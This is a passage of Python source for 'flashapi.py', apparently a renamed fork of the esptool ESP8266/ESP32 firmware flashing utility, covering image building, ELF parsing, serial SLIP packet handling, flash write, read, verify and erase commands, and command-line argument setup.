self.read_checksum(load_file)\n\n            if self.append_digest:\n                end = load_file.tell()\n                self.stored_digest = load_file.read(32)\n                load_file.seek(start)\n                calc_digest = hashlib.sha256()\n                calc_digest.update(load_file.read(end - start))\n                self.calc_digest = calc_digest.digest()\n\n            self.verify()\n\n    def is_flash_addr(self, addr):\n        return (ESP32ROM.IROM_MAP_START <= addr < ESP32ROM.IROM_MAP_END) \\\n               or (ESP32ROM.DROM_MAP_START <= addr < ESP32ROM.DROM_MAP_END)\n\n    def default_output_name(self, input_file):\n\n        return \"%s.bin\" % (os.path.splitext(input_file)[0])\n\n    def warn_if_unusual_segment(self, offset, size, is_irom_segment):\n        pass\n\n    def save(self, filename):\n        total_segments = 0\n        with io.BytesIO() as f:\n            self.write_common_header(f, self.segments)\n\n            self.save_extended_header(f)\n\n            checksum = ESPLoader.ESP_CHECKSUM_MAGIC\n\n            flash_segments = [copy.deepcopy(s) for s in sorted(self.segments, key=lambda s: s.addr) if self.is_flash_addr(s.addr)]\n            ram_segments = [copy.deepcopy(s) for s in sorted(self.segments, key=lambda s: s.addr) if not self.is_flash_addr(s.addr)]\n\n            if len(flash_segments) > 0:\n                last_addr = flash_segments[0].addr\n                for segment in flash_segments[1:]:\n                    if segment.addr // self.IROM_ALIGN == last_addr // self.IROM_ALIGN:\n                        raise FatalError((\"Segment loaded at 0x%08x lands in same 64KB flash mapping as segment loaded at 0x%08x. \" +\n                                          \"Can't generate binary. Suggest changing linker script or ELF to merge sections.\") %\n                                         (segment.addr, last_addr))\n                    last_addr = segment.addr\n\n            def get_alignment_data_needed(segment):\n\n                #\n\n                align_past = (segment.addr % self.IROM_ALIGN) - self.SEG_HEADER_LEN\n                pad_len = (self.IROM_ALIGN - (f.tell() % self.IROM_ALIGN)) + align_past\n                if pad_len == 0 or pad_len == self.IROM_ALIGN:\n                    return 0\n\n                pad_len -= self.SEG_HEADER_LEN\n                if pad_len < 0:\n                    pad_len += self.IROM_ALIGN\n                return pad_len\n\n            while len(flash_segments) > 0:\n                segment = flash_segments[0]\n                pad_len = get_alignment_data_needed(segment)\n                if pad_len > 0:\n                    if len(ram_segments) > 0 and pad_len > self.SEG_HEADER_LEN:\n                        pad_segment = ram_segments[0].split_image(pad_len)\n                        if len(ram_segments[0].data) == 0:\n                            ram_segments.pop(0)\n                    else:\n                        pad_segment = ImageSegment(0, b'\\x00' * pad_len, f.tell())\n                    checksum = self.save_segment(f, pad_segment, checksum)\n                    total_segments += 1\n                else:\n\n                    assert (f.tell() + 8) % self.IROM_ALIGN == segment.addr % self.IROM_ALIGN\n                    checksum = self.save_flash_segment(f, segment, checksum)\n                    flash_segments.pop(0)\n                    total_segments += 1\n\n            for segment in ram_segments:\n                checksum = self.save_segment(f, segment, checksum)\n                total_segments += 1\n\n            if self.secure_pad:\n\n                if not self.append_digest:\n                    raise FatalError(\"secure_pad only applies if a SHA-256 digest is also appended to the image\")\n                align_past = (f.tell() + self.SEG_HEADER_LEN) % self.IROM_ALIGN\n\n                checksum_space = 16\n\n                space_after_checksum = 32 + 4 + 64 + 12\n                pad_len = (self.IROM_ALIGN - align_past - checksum_space - space_after_checksum) % self.IROM_ALIGN\n                pad_segment = ImageSegment(0, b'\\x00' * pad_len, f.tell())\n\n                checksum = self.save_segment(f, pad_segment, checksum)\n                total_segments += 1\n\n            self.append_checksum(f, checksum)\n            image_length = f.tell()\n\n            if self.secure_pad:\n                assert ((image_length + space_after_checksum) % self.IROM_ALIGN) == 0\n\n            f.seek(1)\n            try:\n                f.write(chr(total_segments))\n            except TypeError:\n                f.write(bytes([total_segments]))\n\n            if self.append_digest:\n                f.seek(0)\n                digest = hashlib.sha256()\n                digest.update(f.read(image_length))\n                f.write(digest.digest())\n\n            with open(filename, 'wb') as real_file:\n                real_file.write(f.getvalue())\n\n    def save_flash_segment(self, f, segment, checksum=None):\n\n        segment_end_pos = f.tell() + len(segment.data) + self.SEG_HEADER_LEN\n        segment_len_remainder = segment_end_pos % self.IROM_ALIGN\n        if segment_len_remainder < 0x24:\n            segment.data += b'\\x00' * (0x24 - segment_len_remainder)\n        return self.save_segment(f, segment, checksum)\n\n    def load_extended_header(self, load_file):\n        def split_byte(n):\n            return (n & 0x0F, (n >> 4) & 0x0F)\n\n        fields = list(struct.unpack(self.EXTENDED_HEADER_STRUCT_FMT, load_file.read(16)))\n\n        self.wp_pin = fields[0]\n\n        self.clk_drv, self.q_drv = split_byte(fields[1])\n        self.d_drv, self.cs_drv = split_byte(fields[2])\n        self.hd_drv, self.wp_drv = split_byte(fields[3])\n\n        if fields[15] in [0, 1]:\n            self.append_digest = (fields[15] == 1)\n        else:\n            raise RuntimeError(\"Invalid value for append_digest field (0x%02x). Should be 0 or 1.\", fields[15])\n\n        if any(f for f in fields[4:15] if f != 0):\n            print(\"Warning: some reserved header fields have non-zero values. This image may be from a newer flashapi.py?\")\n\n    def save_extended_header(self, save_file):\n        def join_byte(ln, hn):\n            return (ln & 0x0F) + ((hn & 0x0F) << 4)\n\n        append_digest = 1 if self.append_digest else 0\n\n        fields = [self.wp_pin,\n                  join_byte(self.clk_drv, self.q_drv),\n                  join_byte(self.d_drv, self.cs_drv),\n                  join_byte(self.hd_drv, self.wp_drv)]\n        fields += [0] * 11\n        fields += [append_digest]\n\n        packed = struct.pack(self.EXTENDED_HEADER_STRUCT_FMT, *fields)\n        save_file.write(packed)\n\n\nclass ELFFile(object):\n    SEC_TYPE_PROGBITS = 0x01\n    SEC_TYPE_STRTAB = 0x03\n\n    LEN_SEC_HEADER = 0x28\n\n    def __init__(self, name):\n\n        self.name = name\n        with open(self.name, 'rb') as f:\n            self._read_elf_file(f)\n\n    def get_section(self, section_name):\n        for s in self.sections:\n            if s.name == section_name:\n                return s\n        raise ValueError(\"No section %s in ELF file\" % section_name)\n\n    def _read_elf_file(self, f):\n\n        LEN_FILE_HEADER = 0x34\n        try:\n            (ident, _type, machine, _version,\n             self.entrypoint, _phoff, shoff, _flags,\n             _ehsize, _phentsize, _phnum, shentsize,\n             shnum, shstrndx) = struct.unpack(\"<16sHHLLLLLHHHHHH\", f.read(LEN_FILE_HEADER))\n        except struct.error as e:\n            raise FatalError(\"Failed to read a valid ELF header from %s: %s\" % (self.name, e))\n\n        if byte(ident, 0) != 0x7f or ident[1:4] != b'ELF':\n            raise FatalError(\"%s has invalid ELF magic header\" % self.name)\n        if machine != 0x5e:\n            raise FatalError(\"%s does not appear to be an Xtensa ELF file. e_machine=%04x\" % (self.name, machine))\n        if shentsize != self.LEN_SEC_HEADER:\n            raise FatalError(\"%s has unexpected section header entry size 0x%x (not 0x28)\" % (self.name, shentsize, self.LEN_SEC_HEADER))\n        if shnum == 0:\n            raise FatalError(\"%s has 0 section headers\" % (self.name))\n        self._read_sections(f, shoff, shnum, shstrndx)\n\n    def _read_sections(self, f, section_header_offs, section_header_count, shstrndx):\n        f.seek(section_header_offs)\n        len_bytes = section_header_count * self.LEN_SEC_HEADER\n        section_header = f.read(len_bytes)\n        if len(section_header) == 0:\n            raise FatalError(\"No section header found at offset %04x in ELF file.\" % section_header_offs)\n        if len(section_header) != (len_bytes):\n            raise FatalError(\"Only read 0x%x bytes from section header (expected 0x%x.) Truncated ELF file?\" % (len(section_header), len_bytes))\n\n        section_header_offsets = range(0, len(section_header), self.LEN_SEC_HEADER)\n\n        def read_section_header(offs):\n            name_offs, sec_type, _flags, lma, sec_offs, size = struct.unpack_from(\"<LLLLLL\", section_header[offs:])\n            return (name_offs, sec_type, lma, size, sec_offs)\n\n        all_sections = [read_section_header(offs) for offs in section_header_offsets]\n        prog_sections = [s for s in all_sections if s[1] == ELFFile.SEC_TYPE_PROGBITS]\n\n        if not (shstrndx * self.LEN_SEC_HEADER) in section_header_offsets:\n            raise FatalError(\"ELF file has no STRTAB section at shstrndx %d\" % shstrndx)\n        _, sec_type, _, sec_size, sec_offs = read_section_header(shstrndx * self.LEN_SEC_HEADER)\n        if sec_type != ELFFile.SEC_TYPE_STRTAB:\n            print('WARNING: ELF file has incorrect STRTAB section type 0x%02x' % sec_type)\n        f.seek(sec_offs)\n        string_table = f.read(sec_size)\n\n        def lookup_string(offs):\n            raw = string_table[offs:]\n            return raw[:raw.index(b'\\x00')]\n\n        def read_data(offs, size):\n            f.seek(offs)\n            return f.read(size)\n\n        prog_sections = [ELFSection(lookup_string(n_offs), lma, read_data(offs, size)) for (n_offs, _type, lma, size, offs) in prog_sections\n                         if lma != 0 and size > 0]\n        self.sections = prog_sections\n\n    def sha256(self):\n\n        sha256 = hashlib.sha256()\n        with open(self.name, 'rb') as f:\n            sha256.update(f.read())\n        return sha256.digest()\n\n\ndef slip_reader(port, trace_function):\n    partial_packet = None\n    in_escape = False\n    while True:\n        waiting = port.inWaiting()\n        read_bytes = port.read(1 if waiting == 0 else waiting)\n        if read_bytes == b'':\n            waiting_for = \"header\" if partial_packet is None else \"content\"\n            trace_function(\"Timed out waiting for packet %s\", waiting_for)\n            raise FatalError(\"Timed out waiting for packet %s\" % waiting_for)\n        trace_function(\"Read %d bytes: %s\", len(read_bytes), HexFormatter(read_bytes))\n        for b in read_bytes:\n            if type(b) is int:\n                b = bytes([b])\n\n            if partial_packet is None:\n                if b == b'\\xc0':\n                    partial_packet = b\"\"\n                else:\n                    trace_function(\"Read invalid data: %s\", HexFormatter(read_bytes))\n                    trace_function(\"Remaining data in serial buffer: %s\", HexFormatter(port.read(port.inWaiting())))\n                    raise FatalError('Invalid head of packet (0x%s)' % hexify(b))\n            elif in_escape:\n                in_escape = False\n                if b == b'\\xdc':\n                    partial_packet += b'\\xc0'\n                elif b == b'\\xdd':\n                    partial_packet += b'\\xdb'\n                else:\n                    trace_function(\"Read invalid data: %s\", HexFormatter(read_bytes))\n                    trace_function(\"Remaining data in serial buffer: %s\", HexFormatter(port.read(port.inWaiting())))\n                    raise FatalError('Invalid SLIP escape (0xdb, 0x%s)' % (hexify(b)))\n            elif b == b'\\xdb':\n                in_escape = True\n            elif b == b'\\xc0':\n                trace_function(\"Received full packet: %s\", HexFormatter(partial_packet))\n                yield partial_packet\n                partial_packet = None\n            else:\n                partial_packet += b\n\n\ndef arg_auto_int(x):\n    return int(x, 0)\n\n\ndef div_roundup(a, b):\n    return (int(a) + int(b) - 1) // int(b)\n\n\ndef align_file_position(f, size):\n    align = (size - 1) - (f.tell() % size)\n    f.seek(align, 1)\n\n\ndef flash_size_bytes(size):\n    if \"MB\" in size:\n        return int(size[:size.index(\"MB\")]) * 1024 * 1024\n    elif \"KB\" in size:\n        return int(size[:size.index(\"KB\")]) * 1024\n    else:\n        raise FatalError(\"Unknown size %s\" % size)\n\n\ndef hexify(s, uppercase=True):\n    format_str = '%02X' if uppercase else '%02x'\n    if not PYTHON2:\n        return ''.join(format_str % c for c in s)\n    else:\n        return ''.join(format_str % ord(c) for c in s)\n\n\nclass HexFormatter(object):\n\n    def __init__(self, binary_string, auto_split=True):\n        self._s = binary_string\n        self._auto_split = auto_split\n\n    def __str__(self):\n        if self._auto_split and len(self._s) > 16:\n            result = \"\"\n            s = self._s\n            while len(s) > 0:\n                line = s[:16]\n                ascii_line = \"\".join(c if (c == ' ' or (c in string.printable and c not in string.whitespace))\n                                     else '.' for c in line.decode('ascii', 'replace'))\n                s = s[16:]\n                result += \"\\n    %-16s %-16s | %s\" % (hexify(line[:8], False), hexify(line[8:], False), ascii_line)\n            return result\n        else:\n            return hexify(self._s, False)\n\n\ndef pad_to(data, alignment, pad_character=b'\\xFF'):\n    pad_mod = len(data) % alignment\n    if pad_mod != 0:\n        data += pad_character * (alignment - pad_mod)\n    return data\n\n\nclass FatalError(RuntimeError):\n    def __init__(self, message):\n        RuntimeError.__init__(self, message)\n\n    @staticmethod\n    def WithResult(message, result):\n        message += \" (result was %s)\" % hexify(result)\n        return FatalError(message)\n\n\nclass NotImplementedInROMError(FatalError):\n    def __init__(self, bootloader, func):\n        FatalError.__init__(self, \"%s ROM does not support function %s.\" % (bootloader.CHIP_NAME, func.__name__))\n\n\nclass NotSupportedError(FatalError):\n    def __init__(self, esp, function_name):\n        FatalError.__init__(self, \"Function %s is not supported for %s.\" % (function_name, esp.CHIP_NAME))\n\n\n#\n\n\ndef load_ram(esp, args):\n    image = LoadFirmwareImage(esp.CHIP_NAME, args.filename)\n\n    print('RAM boot...')\n    for seg in image.segments:\n        size = len(seg.data)\n        print('Downloading %d bytes at %08x...' % (size, seg.addr), end=' ')\n        sys.stdout.flush()\n        esp.mem_begin(size, div_roundup(size, esp.ESP_RAM_BLOCK), esp.ESP_RAM_BLOCK, seg.addr)\n\n        seq = 0\n        while len(seg.data) > 0:\n            esp.mem_block(seg.data[0:esp.ESP_RAM_BLOCK], seq)\n            seg.data = seg.data[esp.ESP_RAM_BLOCK:]\n            seq += 1\n        print('done!')\n\n    print('All segments done, executing at %08x' % image.entrypoint)\n    esp.mem_finish(image.entrypoint)\n\n\ndef read_mem(esp, args):\n    print('0x%08x = 0x%08x' % (args.address, esp.read_reg(args.address)))\n\n\ndef write_mem(esp, args):\n    esp.write_reg(args.address, args.value, args.mask, 0)\n    print('Wrote %08x, mask %08x to %08x' % (args.value, args.mask, args.address))\n\n\ndef dump_mem(esp, args):\n    with open(args.filename, 'wb') as f:\n        for i in range(args.size // 4):\n            d = esp.read_reg(args.address + (i * 4))\n            f.write(struct.pack(b'<I', d))\n            if f.tell() % 1024 == 0:\n                print('\\r%d bytes read... (%d %%)' % (f.tell(),\n                                                      f.tell() * 100 // args.size),\n                      end=' ')\n            sys.stdout.flush()\n    print('Done!')\n\n\ndef detect_flash_size(esp, args):\n    if args.flash_size == 'detect':\n        flash_id = esp.flash_id()\n        size_id = flash_id >> 16\n        args.flash_size = DETECTED_FLASH_SIZES.get(size_id)\n        if args.flash_size is None:\n            print('Warning: Could not auto-detect Flash size (FlashID=0x%x, SizeID=0x%x), defaulting to 4MB' % (flash_id, size_id))\n            args.flash_size = '4MB'\n        else:\n            print('Auto-detected Flash size:', args.flash_size)\n\n\ndef _update_image_flash_params(esp, address, args, image):\n    if len(image) < 8:\n        return image\n\n    magic, _, flash_mode, flash_size_freq = struct.unpack(\"BBBB\", image[:4])\n    if address != esp.BOOTLOADER_FLASH_OFFSET or magic != esp.ESP_IMAGE_MAGIC:\n        return image\n\n    if args.flash_mode != 'keep':\n        flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode]\n\n    flash_freq = flash_size_freq & 0x0F\n    if args.flash_freq != 'keep':\n        flash_freq = {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq]\n\n    flash_size = flash_size_freq & 0xF0\n    if args.flash_size != 'keep':\n        flash_size = esp.parse_flash_size_arg(args.flash_size)\n\n    flash_params = struct.pack(b'BB', flash_mode, flash_size + flash_freq)\n    if flash_params != image[2:4]:\n        print('Flash params set to 0x%04x' % struct.unpack(\">H\", flash_params))\n        image = image[0:2] + flash_params + image[4:]\n    return image\n\n\ndef write_flash(esp, args):\n    if args.compress is None and not args.no_compress:\n        args.compress = not args.no_stub\n\n    if args.encrypt:\n        do_write = True\n        crypt_cfg_efuse = esp.get_flash_crypt_config()\n\n        if crypt_cfg_efuse != 0xF:\n            print('\\nWARNING: Unexpected FLASH_CRYPT_CONFIG value', hex(crypt_cfg_efuse))\n            print('\\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation')\n            do_write = False\n\n        enc_key_valid = esp.is_flash_encryption_key_valid()\n\n        if not enc_key_valid:\n            print('\\nFlash encryption key is not programmed')\n            print('\\nMake sure flash encryption is enabled correctly, refer to Flash Encryption documentation')\n            do_write = False\n\n        if (esp.FLASH_WRITE_SIZE % 32) != 0:\n            print('\\nWARNING - Flash write address is not aligned to the recommeded 32 bytes')\n            do_write = False\n\n        if not do_write and not args.ignore_flash_encryption_efuse_setting:\n            raise FatalError(\"Incorrect efuse setting: aborting flash write\")\n\n    if args.flash_size != 'keep':\n        flash_end = flash_size_bytes(args.flash_size)\n        for address, argfile in args.addr_filename:\n            argfile.seek(0, 2)\n            if address + argfile.tell() > flash_end:\n                raise FatalError((\"File %s (length %d) at offset %d will not fit in %d bytes of flash. \" +\n                                  \"Use --flash-size argument, or change flashing address.\")\n                                 % (argfile.name, argfile.tell(), address, flash_end))\n            argfile.seek(0)\n\n    if args.erase_all:\n        warn_stage1 = input(\"WARNING THIS WILL BRICK YOUR CABLE. ARE YOU SURE YOU WANT TO DO THIS?\")\n        warn_stage2 = input(\"ARE YOU REALLY SURE YOU WANT TO BRICK YOUR CABLE?\")\n        print(warn_stage1)\n        if warn_stage1 == 'y':\n            print(warn_stage2)\n            if warn_stage2 == 'y':\n                erase_flash(esp, args)\n        else:\n            print(\"Erase did not run because you did not press: y\")\n\n    if args.encrypt and args.compress:\n        print('\\nWARNING: - compress and encrypt options are mutually exclusive ')\n        print('Will flash uncompressed')\n        args.compress = False\n\n    for address, argfile in args.addr_filename:\n        if args.no_stub:\n            print('Erasing flash...')\n        image = pad_to(argfile.read(), 32 if args.encrypt else 4)\n        if len(image) == 0:\n            print('WARNING: File %s is empty' % argfile.name)\n            continue\n        image = _update_image_flash_params(esp, address, args, image)\n        calcmd5 = hashlib.md5(image).hexdigest()\n        uncsize = len(image)\n        if args.compress:\n            uncimage = image\n            image = zlib.compress(uncimage, 9)\n            ratio = uncsize / len(image)\n            blocks = esp.flash_defl_begin(uncsize, len(image), address)\n        else:\n            ratio = 1.0\n            blocks = esp.flash_begin(uncsize, address)\n        argfile.seek(0)\n        seq = 0\n        written = 0\n        t = time.time()\n        while len(image) > 0:\n            print('\\rWriting at 0x%08x... (%d %%)' % (address + seq * esp.FLASH_WRITE_SIZE, 100 * (seq + 1) // blocks), end='')\n            sys.stdout.flush()\n            block = image[0:esp.FLASH_WRITE_SIZE]\n            if args.compress:\n                esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio * 2)\n            else:\n\n                block = block + b'\\xff' * (esp.FLASH_WRITE_SIZE - len(block))\n                if args.encrypt:\n                    esp.flash_encrypt_block(block, seq)\n                else:\n                    esp.flash_block(block, seq)\n            image = image[esp.FLASH_WRITE_SIZE:]\n            seq += 1\n            written += len(block)\n        t = time.time() - t\n        speed_msg = \"\"\n        if args.compress:\n            if t > 0.0:\n                speed_msg = \" (effective %.1f kbit/s)\" % (uncsize / t * 8 / 1000)\n            print('\\rWrote %d bytes (%d compressed) at 0x%08x in %.1f seconds%s...' % (uncsize, written, address, t, speed_msg))\n        else:\n            if t > 0.0:\n                speed_msg = \" (%.1f kbit/s)\" % (written / t * 8 / 1000)\n            print('\\rWrote %d bytes at 0x%08x in %.1f seconds%s...' % (written, address, t, speed_msg))\n\n        if not args.encrypt:\n            try:\n                res = esp.flash_md5sum(address, uncsize)\n                if res != calcmd5:\n                    print('File  md5: %s' % calcmd5)\n                    print('Flash md5: %s' % res)\n                    print('MD5 of 0xFF is %s' % (hashlib.md5(b'\\xFF' * uncsize).hexdigest()))\n                    raise FatalError(\"MD5 of file does not match data in flash!\")\n                else:\n                    print('Hash of data verified.')\n            except NotImplementedInROMError:\n                pass\n\n    print('\\nLeaving...')\n\n    if esp.IS_STUB:\n\n        esp.flash_begin(0, 0)\n        if args.compress:\n            esp.flash_defl_finish(False)\n        else:\n            esp.flash_finish(False)\n\n    if args.verify:\n        print('Verifying just-written flash...')\n        print('(This option is deprecated, flash contents are now always read back after flashing.)')\n        verify_flash(esp, args)\n\n\ndef image_info(args):\n    image = LoadFirmwareImage(args.chip, args.filename)\n    print('Image version: %d' % image.version)\n    print('Entry point: %08x' % image.entrypoint if image.entrypoint != 0 else 'Entry point not set')\n    print('%d segments' % len(image.segments))\n    print\n    idx = 0\n    for seg in image.segments:\n        idx += 1\n        print('Segment %d: %r' % (idx, seg))\n    calc_checksum = image.calculate_checksum()\n    print('Checksum: %02x (%s)' % (image.checksum,\n                                   'valid' if image.checksum == calc_checksum else 'invalid - calculated %02x' % calc_checksum))\n    try:\n        digest_msg = 'Not appended'\n        if image.append_digest:\n            is_valid = image.stored_digest == image.calc_digest\n            digest_msg = \"%s (%s)\" % (hexify(image.calc_digest).lower(),\n                                      \"valid\" if is_valid else \"invalid\")\n            print('Validation Hash: %s' % digest_msg)\n    except AttributeError:\n        pass\n\n\ndef make_image(args):\n    image = ESP8266ROMFirmwareImage()\n    if len(args.segfile) == 0:\n        raise FatalError('No segments specified')\n    if len(args.segfile) != len(args.segaddr):\n        raise FatalError('Number of specified files does not match number of specified addresses')\n    for (seg, addr) in zip(args.segfile, args.segaddr):\n        with open(seg, 'rb') as f:\n            data = f.read()\n            image.segments.append(ImageSegment(addr, data))\n    image.entrypoint = args.entrypoint\n    image.save(args.output)\n\n\ndef elf2image(args):\n    e = ELFFile(args.input)\n    if args.chip == 'auto':\n        print(\"Creating image for ESP8266...\")\n        args.chip = 'esp8266'\n\n    if args.chip == 'esp32':\n        image = ESP32FirmwareImage()\n        image.secure_pad = args.secure_pad\n    elif args.version == '1':\n        image = ESP8266ROMFirmwareImage()\n    else:\n        image = ESP8266V2FirmwareImage()\n    image.entrypoint = e.entrypoint\n    image.segments = e.sections\n    image.flash_mode = {'qio': 0, 'qout': 1, 'dio': 2, 'dout': 3}[args.flash_mode]\n    image.flash_size_freq = image.ROM_LOADER.FLASH_SIZES[args.flash_size]\n    image.flash_size_freq += {'40m': 0, '26m': 1, '20m': 2, '80m': 0xf}[args.flash_freq]\n\n    if args.elf_sha256_offset:\n        image.elf_sha256 = e.sha256()\n        image.elf_sha256_offset = args.elf_sha256_offset\n\n    image.verify()\n\n    if args.output is None:\n        args.output = image.default_output_name(args.input)\n    image.save(args.output)\n\n\ndef read_mac(esp, args):\n    mac = esp.read_mac()\n\n    def print_mac(label, mac):\n        print('%s: %s' % (label, ':'.join(map(lambda x: '%02x' % x, mac))))\n\n    print_mac(\"MAC\", mac)\n\n\ndef chip_id(esp, args):\n    try:\n        chipid = esp.chip_id()\n        print('Chip ID: 0x%08x' % chipid)\n    except NotSupportedError:\n        print('Warning: %s has no Chip ID. Reading MAC instead.' % esp.CHIP_NAME)\n        read_mac(esp, args)\n\n\ndef erase_flash(esp, args):\n    print('Erasing flash (this may take a while)...')\n    t = time.time()\n    esp.erase_flash()\n    print('Chip erase completed successfully in %.1fs' % (time.time() - t))\n\n\ndef erase_region(esp, args):\n    print('Erasing region (may be slow depending on size)...')\n    t = time.time()\n    esp.erase_region(args.address, args.size)\n    print('Erase completed successfully in %.1f seconds.' % (time.time() - t))\n\n\ndef run(esp, args):\n    esp.run()\n\n\ndef flash_id(esp, args):\n    flash_id = esp.flash_id()\n    print('Manufacturer: %02x' % (flash_id & 0xff))\n    flid_lowbyte = (flash_id >> 16) & 0xFF\n    print('Device: %02x%02x' % ((flash_id >> 8) & 0xff, flid_lowbyte))\n    print('Detected flash size: %s' % (DETECTED_FLASH_SIZES.get(flid_lowbyte, \"Unknown\")))\n\n\ndef read_flash(esp, args):\n    if args.no_progress:\n        flash_progress = None\n    else:\n        def flash_progress(progress, length):\n            msg = '%d (%d %%)' % (progress, progress * 100.0 / length)\n            padding = '\\b' * len(msg)\n            if progress == length:\n                padding = '\\n'\n            sys.stdout.write(msg + padding)\n            sys.stdout.flush()\n    t = time.time()\n    data = esp.read_flash(args.address, args.size, flash_progress)\n    t = time.time() - t\n    print('\\rRead %d bytes at 0x%x in %.1f seconds (%.1f kbit/s)...'\n          % (len(data), args.address, t, len(data) / t * 8 / 1000))\n    with open(args.filename, 'wb') as f:\n        f.write(data)\n\n\ndef verify_flash(esp, args):\n    differences = False\n\n    for address, argfile in args.addr_filename:\n        image = pad_to(argfile.read(), 4)\n        argfile.seek(0)\n\n        image = _update_image_flash_params(esp, address, args, image)\n\n        image_size = len(image)\n        print('Verifying 0x%x (%d) bytes @ 0x%08x in flash against %s...' % (image_size, image_size, address, argfile.name))\n\n        digest = esp.flash_md5sum(address, image_size)\n        expected_digest = hashlib.md5(image).hexdigest()\n        if digest == expected_digest:\n            print('-- verify OK (digest matched)')\n            continue\n        else:\n            differences = True\n            if getattr(args, 'diff', 'no') != 'yes':\n                print('-- verify FAILED (digest mismatch)')\n                continue\n\n        flash = esp.read_flash(address, image_size)\n        assert flash != image\n        diff = [i for i in range(image_size) if flash[i] != image[i]]\n        print('-- verify FAILED: %d differences, first @ 0x%08x' % (len(diff), address + diff[0]))\n        for d in diff:\n            flash_byte = flash[d]\n            image_byte = image[d]\n            if PYTHON2:\n                flash_byte = ord(flash_byte)\n                image_byte = ord(image_byte)\n            print('   %08x %02x %02x' % (address + d, flash_byte, image_byte))\n    if differences:\n        raise FatalError(\"Verify failed.\")\n\n\ndef read_flash_status(esp, args):\n    print('Status value: 0x%04x' % esp.read_status(args.bytes))\n\n\ndef write_flash_status(esp, args):\n    fmt = \"0x%%0%dx\" % (args.bytes * 2)\n    args.value = args.value & ((1 << (args.bytes * 8)) - 1)\n    print(('Initial flash status: ' + fmt) % esp.read_status(args.bytes))\n    print(('Setting flash status: ' + fmt) % args.value)\n    esp.write_status(args.value, args.bytes, args.non_volatile)\n    print(('After flash status:   ' + fmt) % esp.read_status(args.bytes))\n\n\ndef version(args):\n    print(__version__)\n\n\n#\n\n#\n\n\ndef main(custom_commandline=None):\n    parser = argparse.ArgumentParser(description='flashapi.py v%s - ESP8266 ROM Bootloader Utility' % __version__, prog='flashapi')\n\n    parser.add_argument('--chip', '-c',\n                        help='Target chip type',\n                        choices=['auto', 'esp8266', 'esp32'],\n                        default=os.environ.get('flashapi_CHIP', 'auto'))\n\n    parser.add_argument(\n        '--port', '-p',\n        help='Serial port device',\n        default=os.environ.get('flashapi_PORT', None))\n\n    parser.add_argument(\n        '--baud', '-b',\n        help='Serial port baud rate used when flashing/reading',\n        type=arg_auto_int,\n        default=os.environ.get('flashapi_BAUD', ESPLoader.ESP_ROM_BAUD))\n\n    parser.add_argument(\n        '--before',\n        help='What to do before connecting to the chip',\n        choices=['default_reset', 'no_reset', 'no_reset_no_sync'],\n        default=os.environ.get('flashapi_BEFORE', 'default_reset'))\n\n    parser.add_argument(\n        '--after', '-a',\n        help='What to do after flashapi.py is finished',\n        choices=['hard_reset', 'soft_reset', 'no_reset'],\n        default=os.environ.get('flashapi_AFTER', 'hard_reset'))\n\n    parser.add_argument(\n        '--no-stub',\n        help=\"Disable launching the flasher stub, only talk to ROM bootloader. Some features will not be available.\",\n        action='store_true')\n\n    parser.add_argument(\n        '--trace', '-t',\n        help=\"Enable trace-level output of flashapi.py interactions.\",\n        action='store_true')\n\n    parser.add_argument(\n        '--override-vddsdio',\n        help=\"Override ESP32 VDDSDIO internal voltage regulator (use with care)\",\n        choices=ESP32ROM.OVERRIDE_VDDSDIO_CHOICES,\n        nargs='?')\n\n    subparsers = parser.add_subparsers(\n        dest='operation',\n        help='Run flashapi {command} -h for additional help')\n\n    def add_spi_connection_arg(parent):\n        parent.add_argument('--spi-connection', '-sc', help='ESP32-only argument. Override default SPI Flash connection. ' +\n                                                            'Value can be SPI, HSPI or a comma-separated list of 5 I/O numbers to use for SPI flash (CLK,Q,D,HD,CS).',\n                            action=SpiConnectionAction)\n\n    parser_load_ram = subparsers.add_parser(\n        'load_ram',\n        help='Download an image to RAM and execute')\n    parser_load_ram.add_argument('filename', help='Firmware image')\n\n    parser_dump_mem = subparsers.add_parser(\n        'dump_mem',\n        help='Dump arbitrary memory to disk')\n    parser_dump_mem.add_argument('address', help='Base address', type=arg_auto_int)\n    parser_dump_mem.add_argument('size', help='Size of region to dump', type=arg_auto_int)\n    parser_dump_mem.add_argument('filename', help='Name of binary dump')\n\n    parser_read_mem = subparsers.add_parser(\n        'read_mem',\n        help='Read arbitrary memory location')\n    parser_read_mem.add_argument('address', help='Address to read', type=arg_auto_int)\n\n    parser_write_mem = subparsers.add_parser(\n        'write_mem',\n        help='Read-modify-write to arbitrary memory location')\n    parser_write_mem.add_argument('address', help='Address to write', type=arg_auto_int)\n    parser_write_mem.add_argument('value', help='Value', type=arg_auto_int)\n    parser_write_mem.add_argument('mask', help='Mask of bits to write', type=arg_auto_int)\n\n    def add_spi_flash_subparsers(parent, is_elf2image):\n\n        extra_keep_args = [] if is_elf2image else ['keep']\n        auto_detect = not is_elf2image\n\n        if auto_detect:\n            extra_fs_message = \", detect, or keep\"\n        else:\n            extra_fs_message = \"\"\n\n        parent.add_argument('--flash_freq', '-ff', help='SPI Flash frequency',\n                            choices=extra_keep_args + ['40m', '26m', '20m', '80m'],\n                            default=os.environ.get('flashapi_FF', '40m' if is_elf2image else 'keep'))\n        parent.add_argument('--flash_mode', '-fm', help='SPI Flash mode',\n                            choices=extra_keep_args + ['qio', 'qout', 'dio', 'dout'],\n                            default=os.environ.get('flashapi_FM', 'qio' if is_elf2image else 'keep'))\n        parent.add_argument('--flash_size', '-fs', help='SPI Flash size in MegaBytes (1MB, 2MB, 4MB, 8MB, 16M)'\n                                                        ' plus ESP8266-only (256KB, 512KB, 2MB-c1, 4MB-c1)' + extra_fs_message,\n                            action=FlashSizeAction, auto_detect=auto_detect,\n                            default=os.environ.get('flashapi_FS', 'detect' if auto_detect else '1MB'))\n        add_spi_connection_arg(parent)\n\n    parser_write_flash = subparsers.add_parser(\n        'write_flash',\n        help='Write a binary blob to flash')\n\n    parser_write_flash.add_argument('addr_filename', metavar='<address> <filename>', help='Address followed by binary filename, separated by space',\n                                    action=AddrFilenamePairAction)\n    parser_write_flash.add_argument('--erase-all', '-e',\n                                    help='Erase all regions of flash (not just write areas) before programming',\n                                    action=\"store_true\")\n\n    add_spi_flash_subparsers(parser_write_flash, is_elf2image=False)\n    parser_write_flash.add_argument('--no-progress', '-p', help='Suppress progress output', action=\"store_true\")\n    parser_write_flash.add_argument('--verify', help='Verify just-written data on flash ' 